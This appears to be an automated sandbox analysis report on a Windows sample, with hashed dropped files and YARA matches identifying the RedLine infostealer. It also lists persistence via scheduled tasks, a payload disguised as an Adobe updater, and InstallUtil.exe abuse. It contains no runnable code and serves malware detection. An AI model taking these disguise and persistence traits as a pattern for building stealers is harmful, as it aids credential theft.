Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_06128FF8 13_2_06128FF8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612CC67 13_2_0612CC67
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612D918 13_2_0612D918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612D907 13_2_0612D907
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612A598 13_2_0612A598
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612A588 13_2_0612A588
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_065D0040 13_2_065D0040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_065D0006 13_2_065D0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_065F56FC 13_2_065F56FC
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_065F0040 13_2_065F0040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_065F0006 13_2_065F0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0687CFE8 13_2_0687CFE8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0686132D 13_2_0686132D
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_06860007 13_2_06860007
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_06860040 13_2_06860040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E1998 17_2_013E1998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E1FB0 17_2_013E1FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E1FB0 17_2_013E1FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E2379 17_2_013E2379
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E235F 17_2_013E235F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E234C 17_2_013E234C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E23A7 17_2_013E23A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E238E 17_2_013E238E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E23EF 17_2_013E23EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E23D8 17_2_013E23D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E23C0 17_2_013E23C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E44BB 17_2_013E44BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E44A3 17_2_013E44A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013EB958 17_2_013EB958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E3BC2 17_2_013E3BC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E4A70 17_2_013E4A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E1D28 17_2_013E1D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E1D19 17_2_013E1D19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658AF50 17_2_0658AF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658BBE8 17_2_0658BBE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658A7A0 17_2_0658A7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06580040 17_2_06580040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658142C 17_2_0658142C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658AF41 17_2_0658AF41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658A790 17_2_0658A790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06580006 17_2_06580006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06584138 17_2_06584138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06584127 17_2_06584127
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_065851DF 17_2_065851DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658B1CE 17_2_0658B1CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_065851F0 17_2_065851F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0660A7F8 17_2_0660A7F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0660EB38 17_2_0660EB38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A85D0 17_2_069A85D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069AC2E1 17_2_069AC2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069AC617 17_2_069AC617
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069AD4F8 17_2_069AD4F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A85C2 17_2_069A85C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A90D8 17_2_069A90D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A90C8 17_2_069A90C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A0006 17_2_069A0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A0040 17_2_069A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069EEE80 17_2_069EEE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069E0040 17_2_069E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069E48FB 17_2_069E48FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069E0006 17_2_069E0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D6DAF0 17_2_06D6DAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D50040 17_2_06D50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D50006 17_2_06D50006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D6CDA0 17_2_06D6CDA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D8AE40 17_2_06D8AE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D84200 17_2_06D84200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D80040 17_2_06D80040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D80690 17_2_06D80690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D80686 17_2_06D80686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D8AE33 17_2_06D8AE33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D81627 17_2_06D81627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D8AF28 17_2_06D8AF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D80007 17_2_06D80007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D841F0 17_2_06D841F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E94228 17_2_06E94228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E98FF8 17_2_06E98FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E98A41 17_2_06E98A41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E98A50 17_2_06E98A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E94218 17_2_06E94218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E98FE8 17_2_06E98FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E98CAD 17_2_06E98CAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E9447C 17_2_06E9447C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F8AF38 21_2_00F8AF38
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F87058 21_2_00F87058
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F87049 21_2_00F87049
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F8F300 21_2_00F8F300
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F876A8 21_2_00F876A8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_00F87698 21_2_00F87698
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0591B180 21_2_0591B180
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_05914D7F 21_2_05914D7F
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_05913918 21_2_05913918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_05913928 21_2_05913928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0591B170 21_2_0591B170
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_05913A1C 21_2_05913A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0591FA30 21_2_0591FA30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0591FA20 21_2_0591FA20
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062E3280 21_2_062E3280
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062E68D0 21_2_062E68D0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062E4488 21_2_062E4488
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062E35A7 21_2_062E35A7
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062E0006 21_2_062E0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F7322 21_2_062F7322
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F6FB8 21_2_062F6FB8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F7CA0 21_2_062F7CA0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062FF4C8 21_2_062FF4C8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F1238 21_2_062F1238
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F8271 21_2_062F8271
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F1290 21_2_062F1290
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F6FAA 21_2_062F6FAA
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F67A0 21_2_062F67A0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F67B0 21_2_062F67B0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F0006 21_2_062F0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F0040 21_2_062F0040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_062F70DE 21_2_062F70DE
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_06432F10 21_2_06432F10
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643CC68 21_2_0643CC68
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_06439008 21_2_06439008
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_06438FF8 21_2_06438FF8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643CC66 21_2_0643CC66
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643D907 21_2_0643D907
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643D918 21_2_0643D918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643A588 21_2_0643A588
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0643A598 21_2_0643A598
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_064E0040 21_2_064E0040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_064E0006 21_2_064E0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_064F56FC 21_2_064F56FC
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_064F0040 21_2_064F0040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_064F0006 21_2_064F0006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0687DBD0 21_2_0687DBD0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0687CFD8 21_2_0687CFD8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_0687CFE8 21_2_0687CFE8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_06860015 21_2_06860015
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 21_2_06860040 21_2_06860040
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe 49B47081F5F4A706CD3B70421094B9DDF59A6C18FCBD177D5F6565FC14514EA1
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\build.exe 9B7FC6C8743440FB3958135998D2E4A67143DBDB980D18790CE68FF2634E495D
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe 8FC221B7C8E3F52F22841C866CF0D842F2A1266E79B472273766CE1704474499
Sample file is different than original file name gathered from version info
Source: rthh9q2PDv.exe, 00000000.00000002.2049504893.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs rthh9q2PDv.exe
Source: rthh9q2PDv.exe, 00000000.00000002.2049504893.0000000001019000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCheckX-Cracked-V vs rthh9q2PDv.exe
Source: rthh9q2PDv.exe, 00000000.00000000.2035453684.00000000008C4000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameRLPR_DL.exe" vs rthh9q2PDv.exe
Source: rthh9q2PDv.exe, 00000000.00000002.2050582165.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCheckX-Cracked-VIP.exeF vs rthh9q2PDv.exe
Source: rthh9q2PDv.exe Binary or memory string: OriginalFilenameRLPR_DL.exe" vs rthh9q2PDv.exe
Uses 32bit PE files
Source: rthh9q2PDv.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 2.2.tmp40CA.tmp.exe.3fa9550.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.tmp40CA.tmp.exe.3fa9550.6.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.build.exe.650000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 6.0.build.exe.650000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.tmp40CA.tmp.exe.3fa9550.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.tmp40CA.tmp.exe.3fa9550.6.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000006.00000000.2128828596.0000000000652000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: tmp40CA.tmp.exe PID: 1892, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: build.exe PID: 6300, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, ITaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, Task.cs Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskService.cs Task registration methods: 'CreateFromToken'
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskFolder.cs Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskSecurity.cs Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskSecurity.cs Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, User.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, TaskPrincipal.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, Task.cs Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@108/7@0/1
Source: C:\Users\user\Desktop\rthh9q2PDv.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rthh9q2PDv.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4744:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:368:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6668:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2292:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1096:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2668:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2892:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: \Sessions\1\BaseNamedObjects\b4191c90e7
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6624:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1248:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:764:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4816:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6448:120:WilError_03
Source: C:\Users\user\Desktop\rthh9q2PDv.exe File created: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp Jump to behavior
Source: rthh9q2PDv.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rthh9q2PDv.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Windows\SysWOW64\cmd.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\rthh9q2PDv.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: rthh9q2PDv.exe ReversingLabs: Detection: 55%
Source: unknown Process created: C:\Users\user\Desktop\rthh9q2PDv.exe "C:\Users\user\Desktop\rthh9q2PDv.exe"
